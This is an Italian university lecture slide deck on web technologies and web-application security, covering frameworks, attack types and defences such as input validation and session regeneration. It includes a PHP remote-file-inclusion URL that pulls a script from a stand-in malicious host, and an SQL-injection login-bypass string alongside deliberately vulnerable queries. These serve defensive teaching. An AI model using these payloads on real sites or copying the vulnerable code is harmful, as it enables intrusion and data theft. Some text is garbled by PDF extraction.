Questo aspetto è molto importante per lo sviluppo di
applicazioni per mobile (come vedremo...)
• Come scegliere un framework: iquii.com/2014/03/07/comescegliere-il-framework-giusto-per-sviluppare-le-applicazioni-webe-mobile/
a.a. 2014/15
Tecnologie Web
53
Software frameworks - IV
Frameworks (WAF) per PHP
• Esistono molti framework per PHP
• Uno dei più famosi è Zend Framework (framework.zend.com)
• Un articolo comparativo:
p
www.html.it/articoli/framework-php-una-comparazione-1/
• Vedi anche: www.phpframeworks.com
Frameworks (WAF) per Python
• Esistono diversi framework per Python
• Il più famoso è Django (www.djangoproject.com/)
• Un elenco: https://wiki.python.org/moin/WebFrameworks
p
py
g
Frameworks (WAF) per Ruby
• Esistono diversi framework per Ruby
• Il più famoso è sicuramete Ruby on Rails, o Rails
(rubyonrails.org)
a.a. 2014/15
Tecnologie Web
54
27
Tecnologie Web: come scegliere?
Ma come si fa a scegliere quale tecnologia usare?!?
Generalmente si tiene conto di diversi fattori... per es:
– tipo di applicazione da sviluppare (semplice/complessa, multimediale,
con molti dati, con molti utenti, molto interattiva, ...)
– competenze dei programmatori coinvolti (la tecnolgia è già
conosciuta? quanto è facile da apprendere? )
– Sistema Operativo e Web Server (quale S.O./Web Server ho ha
disposizione? quali tecnologie sono supportate?)
– documentazione disponibile
– supporto (comunità di sviluppatori o supporto del produttore)
– librerie, moduli e template (esistono librerie e moduli per realizzare
u o a tà particolari
pa t co a – es. archivi,
a c v , photogallery,
p otoga e y, ...?
funzionalità
– popolarità
– costo (è free o a pagamento? che tipo di licenze offre?)
Un articolo (www.redchar.net/?x=entry:entry120709-002739) e un esempio di
discussione sul tema (www2.mokabyte.it/cms/article.run?articleId=VHB-FQD2BD-2HH_7f000001_18359738_5ed22ebf)
a.a. 2014/15
Tecnologie Web
55
Suggerimenti bibliografici - I
(oltre ai link segnalati nelle slide...)
V. Roberto, M. Frailis, A. Gugliotta, P. Omero, Introduzione
alle Tecnologie Web, McGraw-Hill, 2005 [NB: fate
•
"attenzione" perché è un po' vecchiotto...!]
Frammenti suggeriti:
– Cap.
C 5 (La
(L programmazione
i
nell web):
b) sez. dda 55.1
1 a 55.5
5 + dda 55.8
8 a 55.10
10
•
V. Della Mea, L. Di Gaspero, I. Scagnetto, Programmazione
Web Lato Server (seconda edizione aggiornata), Apogeo, 2011
Disponibile e-book (PDF) nella collana Apogeo Spicchi: è
possibile acquistare singoli capitoli
[www.apogeonline.com/libri/9788850314799/scheda]
Frammenti suggeriti:
–
–
–
–
–
Cap. 2 (siti web dinamici): sez. 2.3 e 2.4
Cap. 3 (Il linguaggio di scripting PHP): sez. 3.1 e 3.2
Cap. 4 (JSP: Java Server Pages): sez. 4.1 e 4.2
Cap. 5 (Java Enterprise Edition): sez. 5.1 e 5.2 (solo intro + 5.2.1 e 5.2.2)
Appendice A (basi di dati): sez. A.1 e A.2
Goy - a.a. 2014/2015
Tecnologie Web
56
28
La sicurezza sul Web: introduzione - I
Cyber crime = crimine che
1. sfrutta computer e reti come strumenti
2. ha computer e reti come obiettivi
Ba
Based
on the
h 20144 report
p
from
f mP
Ponemon
m IInstitute,, the
h mean
m a
annualized cost of cyber crimes for 257 benchmarked organizations is
$7.6 million per year, with a range from $0.5 million to $61 million per
company each year. Smaller organizations have a significantly higher
per capita cost than larger organizations ($1,607 versus $437). [...]
Every year, malicious insiders, denial of service, and web-based
attacks account for more than 55% of all cyber crime costs. [...]
Cost savings for companies with good security governance practices
is estimated at $1.3
$1 3 million with expert personnel and $1
$1.11 million with
certification for industry-leading standards.
[Hewlett-Packard 2014]
[https://ssl.www8.hp.com/us/en/ssl/leadgen/secure_document.html?
objid=4AA5-5207ENW&siebelid=12503&sectionid=pdf&returnurl=/us/en/secure/pdf/4aa5-5207enw.pdf
&simpletitle=ponemon%20cyber%20report&subbu=tsg.software&parentPageName=3.0&analytics_page_name=3.
0&parentUrl=http%3A//www8.hp.com/us/en/software-solutions/ponemon-cyber-security-report/
&compURI=tcm%3A245-1788580&fv=FLEX2%20SW3&metrics_asset_value=eb&bu=tsg
&st=/us/en/software-solutions/ponemon-cyber-security-report&as=software&wsi=r11374&cu=false]
a.a. 2014/15
Tecnologie Web
57
La sicurezza sul Web: attacchi non-tecnici
• Attacco "non-tecnico": mirato ad estorcere informazioni
sensibili alle persone o a far compiere azioni che possono
compromettere la sicurezza di un sistema
Es: phishing basato su
i
ingegneria
i sociale
i l =
sfrutta la pressione
sociale per convincere
le persone a rivelare
informazioni riservate
• Possibili difese
– educazione
– regole interne
– filtri per spam/
danger
a.a. 2014/15
Tecnologie Web
58
29
La sicurezza sul Web: attacchi tecnici
• Attacco "tecnico": perpetrato ai danni di un sistema
informatico, con lo scopo di acquisire dati sensibili o
danneggiare il sistema (spesso ne sfrutta le vulnerabilità)
C
Come
sono possibili
ibili gli
li attacchi
tt hi ttecnici?
i i?
I programmi, soprattutto se di grandi dimensioni, possono
contenere errori (bugs, "bachi") e alcuni errori possono
rappresentare "falle di sicurezza"

le falle di sicurezza rappresentano dei punti di ingresso per
terze parti provenienti dall
dall'esterno
esterno, a cui è fornita la possibilita
di acquisire dati o alterare il funzionamento
dell'applicazione

le falle di sicurezza rendono possibili le intrusioni...
a.a. 2014/15
Tecnologie Web
59
La sicurezza sul Web: intrusioni - I
• Intrusione = accesso non previsto ad un programma, con lo
scopo di prelevare dati nascosti o modificarne il funzionamento;
es: furto di dati personali (documenti, credenziali per l'accesso,
g
) custoditi all'interno di database non
contatti e dati anagrafici)
protetti a sufficienza
• Le motivazioni di un'intrusione possono essere varie, dalla
sfida personale alla truffa vera e propria, al terrorismo
• Per ridurre la possibilità di intrusioni bisogna "mettere in
sicurezza" l'applicazione  per implementare un'applicazione
web sicura sono necessari tempo ed energie,
energie che spesso
vengono invece spesi solo quando si presentano i problemi…
• La messa in sicurezza di un'applicazione dovrebbe invece
seguire di pari passo la progettazione, per evitare di dover
inserire successivamente costose e meno funzionali patch
a.a. 2014/15
Tecnologie Web
60
30
La sicurezza sul Web: intrusioni - II
Intrusioni
• attacchi: esistono diversi modi per attaccare un'applicazione
web  accenniamo solo ad alcuni esempi:
o
attacchi
tt hi iin fase
f
di autenticazione
t ti i
o
attacchi in fase di autorizzazione
o
iniezioni di codice
• difese e messa in sicurezza: progettazione di applicazioni
sicure  accenniamo ad alcune delle tecniche più semplici, a
titolo di esempio:
o
test audiovisivi
o
validazione dell'input
o
sicurezza della sessione
a.a. 2014/15
Tecnologie Web
61
Attacchi: autenticazione - I
Autenticazione = processo tramite il quale un programma
verifica l'identità di un computer/programma/utente, attraverso
il controllo delle sue credenziali
 chi sta cercando di accedere alla mia applicazione?
pp
Tecniche di intrusione basate su debolezze dei meccanismi
di autenticazione  per ottenere le credenziali di accesso:
• Brute force:
– processo automatico per tentativi ed errori
– tramite la generazione casuale di stringhe o l'utilizzo di
appositi dizionari,
dizionari effettua reiterati tentativi per
indovinare dati come username, password, numeri di
carte di credito, …
a.a. 2014/15
Tecnologie Web
62
31
Attacchi: autenticazione - II
• Autenticazione insufficiente:
– vulnerabilità che dipende da una cattiva progettazione
della sicurezza del sito
– per es: un'applicazione web che implementa un'area
riservata inserendola in una cartella o in un file non
linkato nella home, accessibile solo a chi ne conosce il
percorso, senza altre protezioni
• Sistema debole per il recupero e validazione della
password:
– recupero password non sicuro
– per es: a chi
hi dimentica
di
ti la
l passwordd vengono richiesti
i hi ti
alcuni dati personali inseriti in fase di registrazione
(email, domicilio, numero di telefono, …); ricavare
queste informazioni è spesso facile per chi conosce la
vittima che intende colpire
a.a. 2014/15
Tecnologie Web
63
Attacchi: autorizzazione - I
Autorizzazione = processo con cui si stabiliscono le possibilità
di accesso a certe risorse ed operazioni (verifica dei "privilegi"),
attraverso il controllo delle sue credenziali
 colui che sta accedendo alla mia applicazione, cosa è
autorizzato a fare?
Tecniche di intrusione basate su debolezze dei meccanismi
di autorizzazione  per falsificare i propri privilegi:
• Session hijacking: "dirottamento della sessione"
– consiste nel ricavare l'ID di sessione di uno degli utenti
collegati
g in quel
q momento e sfruttare le sue credenziali
per accedere a dati o a sezioni riservate
a.a. 2014/15
Tecnologie Web
64
32
Attacchi: autorizzazione - II
• Autorizzazione insufficiente:
– vulnerabilità che dipende da una cattiva progettazione
della sicurezza del sito
– per es: un'applicazione web che permette l'accesso a
documenti riservati a chi ne conosca il percorso, senza
imporre le dovute restrizioni
• Terminazione della sessione insufficiente:
– quando il sito permette all'utente di riutilizzare un
vecchio session ID anche dopo diverso tempo, per
evitargli di ripetere frequentemente il login (questo fa sì
che
h un malintenzionato
li t i t abbia
bbi più
iù tempo
t
a disposizione
di
i i
per tentare un furto di un session ID)
a.a. 2014/15
Tecnologie Web
65
Attacchi: iniezioni di codice - I
Iniezioni di codice = inserimento di codice che esegue
operazioni anomale non previste dall'autore dell'applicazione
• Esempio 1: iniezioni PHP (uso incauto di GET e include)
http://sito_esempio/esempio.php?include_script=previsto.php
– l'URL di connessione alla pagina esempio.php contiene il
parametro include_script, il cui valore è il (percorso del) file che
contiene lo script da inserire all'interno del codice (previsto.php)
– all'interno di esempio.php leggiamo il valore del parametro
include_script senza alcun controllo sul tale valore:
include ($_GET["include_script"]);
 rendiamo possibile inoculare, per es, lo script malevolo.php
residente
id t sull sito
it sito_malevolo.com
it
l l
!!!
Per farlo è infatti sufficiente connettersi a:
http://sito_esempio/esempio.php?include_script=
http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php
:
/
/
/
a.a. 2014/15
Tecnologie Web
66
33
Attacchi: iniezioni di codice - II
• Esempio 2: iniezioni SQL (uso incauto di POST)
L'utente inserisce nel form
caratteri "strani", per es:
Username: ' OR ' ' = '
Password: ' OR ' ' = '
– all'interno della nostra pagina PHP leggiamo i valore inseriti
dall'utente e li usiamo per interrogare il database (fare una
query SQL) senza alcun controllo sul tali valori:
$query = "SELECT
SELECT * FROM dati_utenti
dati utenti WHERE
username = '".$user."' AND password = ".$pass."'";
– la nostra interrogazione (query) seleziona tutti i record della
tabella!
 l'utente malintenzionato può stampare sul proprio browser tutto
il contenuto della tabella del database con i dati degli utenti!!!
a.a. 2014/15
Tecnologie Web
67
Difese: test audiovisivi - I
Spesso, per cercare automaticamente le falle di un
sistema, vengono utilizzati dei programmi che effettuano
un'analisi (automatica) dei punti vulnerabili del sistema
(NB: possono essere usati sia per intrusione, sia per la ricerca
preventiva
ti di possibili
ibili falle
f ll di sicurezza...)
i
)
Difesa contro gli strumenti di analisi automatica:
• esistono diverse possibili azioni preventive
• ne citiamo solo una a titolo esemplificativo: i
CAPTCHA (Completely Automated Public Turing test to tell
Computers and Humans Apart)
– bbasato sull'idea
ll'id del
d l test
t t di Turing
T i (porre
(
ddomande
d
che permettano di capire se l’interlocutore è un
umano o una macchina)
a.a. 2014/15
Tecnologie Web
68
34
Difese: test audiovisivi - II
– la forma più comune di CAPTCHA è visiva: vengono
mostrati all’utente lettere e numeri distorti in modo da
eludere gli OCR (Optical Character Recognition:
programmi dedicati al riconoscimento di un'immagine
contenente
t
t testo)
t t )
– esistono anche forme di CAPTCHA audio
a.a. 2014/15
Tecnologie Web
69
Difese: validazione input - I
Progettazione di applicazioni sicure (accenniamo solo ad
alcune delle tecniche più semplici, a titolo di esempio…)
Validazione input
Uno
U
o de
dei punti
pu t più
p ù deboli
debo di
d uun'applicazione
app ca o e Web è l'elaborazione
e abo a o e
dei dati forniti dall'utente in input (es. nei form; vedi es. prec.) 
effettuare dei controlli sulle stringhe in input è fondamentale!
– Numeri: is_numeric(n) controlla che n sia un numero
– Stringhe: validare le stringhe è una questione molto più
complessa…  esistono due modi principali:
( ) filtrare l'inserimento di specifiche
(a)
p
sequenze
q
di caratteri,,
come i tag HTML, eliminando o ri-codificando le parti
della stringa potenzialmente dannose (+ permissivo)
(b) accettare solo input che rispettino specifiche regole di
formattazione (+ restrittivo)
a.a. 2014/15
Tecnologie Web
70
35
Difese: validazione input - II
(a) L'utente può inserire apici singoli (') e doppi (")
Possibile difesa: funzioni di escape
Escape = anteposizione di un carattere di escape, generalmente il backslash
(\), ad alcuni caratteri che hanno significati particolari (per esempio gli
apici); la presenza del carattere di escape comunica all’interprete
all interprete di non
interpretare ciò che segue
Nel precedente es. di iniezione di codice SQL, utilizzando delle
funzioni di escape sull'input fonito dall'utente nel form si evita di
scrivere (involontariamente) una query "dannnosa":
$query = "SELECT * FROM dati_utenti WHERE
username = '".mysql_real_escape_string($user)."' AND
password = ".mysql_real_escape_string($pass)."'";
Analogamente,
A
l
l'l'utente può
ò iinserire
i nell form
f
caratterii speciali
i li
(es. tag HTML) con lo scopo di far eseguire codice malevolo
Possibile difesa: funzioni che eliminano i tag HTML dalla
stringa in input, oppure trasformano i caratteri speciali
secondo la sintassi HTML (< diventa < ecc…);
a.a. 2014/15
Tecnologie Web
71
Difese: validazione input - III
(b) Controlli sull'input:
• si può, per es, controllare la lunghezza (e il tipo) delle stringhe
in input (con delle apposite funzioni)
• si possono usare delle whitelist  controllare che i dati
(stringhe) appartengano ad una lista predefinita (per es,
controllo che l'input appartenga alla whitelist lunedì,
martedì, mercoledì, giovedì, venerdì
a.a. 2014/15
Tecnologie Web
72
36
Difese: sicurezza della sessione - I
Sicurezza della sessione  per rendere il furto del session ID (es.
session hijacking) più difficile da realizzare
• Utilizzare i cookies come mezzo di trasporto del session ID,
inibendo l'URL rewriting (per farlo occorre modificare la
configurazione
fi
i
del
d l Web
W b Server)
S
)
• Rinegoziare il session ID ogni volta che viene inizializzata
una sessione (session regeneration): la funzione
session_regenerate_id() genera un nuovo session ID non
prevedibile, ri-creando il cookie che ne contiene il valore
• "Ruotare" il session ID: simile alla session regeneration, ma
la generazione del nuovo session ID avviene ad ogni richiesta
(HTTP request) effettuata dal client
E' una soluzione molto sicura, ma ha alcuni problemi, per es:
 impedisce il funzionamento del tasto back del browser (il back effettua
una richiesta con un session ID non più valido in quanto rinegoziato)
 impedisce il funzionamento corretto di memoria cache o di proxy
a.a. 2014/15
Tecnologie Web
73
La sicurezza sul Web: conclusioni
• La maggioranza dei problemi di sicurezza delle applicazioni
Web è legata alla validazione degli input: impedire che
quanto inserito dall'utente possa contenere stringhe dannose
significa già aver reso un sito più sicuro
• La messa in sicurezza non è un'operazione semplice: si deve
cercare un compromesso tra
– le funzionalità e l'usabilità (che rischiano di venire
compromesse da controlli troppo restrittivi) e
– la sicurezza
NB gli utenti sono pigri! spesso non vogliono dover
risolvere un CAPTCHA ad ogni accesso…
• Ricordarsi che le scelte di messa in sicurezza dipendono dal
tipo di applicazione e di dati trattati!
a.a. 2014/15
Tecnologie Web
74
37
Suggerimenti bibliografici – II
(oltre ai link segnalati nelle slide...)
• S. Graziola, La sicurezza nelle applicazioni web, Tesi di Laurea in
Scienze della Comunicazione, Università di Torino, a.a. 2007/2008
[www.di.unito.it/~goy/materiale/1415/estrattoTesiGraziola.pdf]
1. Premessa (pp 4-5)
2.3 L’intrusione (pp 9-10))
3. Tipi di vulnerabilità (NB: rassegna, senza troppi dettagli…)
3.1 Autenticazione (pp 11-14)
3.2 Autorizzazione (pp 14-16) [NO 3.2.4 Furto della sessione (pp 16-18)]
3.4 Iniezioni di dati (pp 22-31) [NO “uso incauto di eval” (pp 25-26)]
4. Difese
4.1 Contro i sistemi di analisi automatica
• SOLO 4.1.10 Test di Turing audiovisivi (pp 47-48)]
4.2 Progettazione di applicazioni sicure
• SI: 4.2.1 Validazione input (pp 48-59)
• SI: 4.2.4 Sicurezza della sessione (pp 71-77)
NO: Scadenza della sessione lato server (p 73),
NO: Validaz.
Validaz in base all’IP
all IP, Browser signature,
signature Validaz
Validaz.dei
dei referrers (pp 74
74-77)
77)
5. Conclusioni (p 78)
•
V. Roberto, M. Frailis, A. Gugliotta, P. Omero, Introduzione
alle Tecnologie Web, McGraw-Hill, 2005 [NB: fate
"attenzione" perché è un po' vecchiotto...!]
– Cap. 7 (Sicurezza nel web): sez. da 7.1 a 7.3
Goy - a.a. 2014/2015
Tecnologie Web
75
38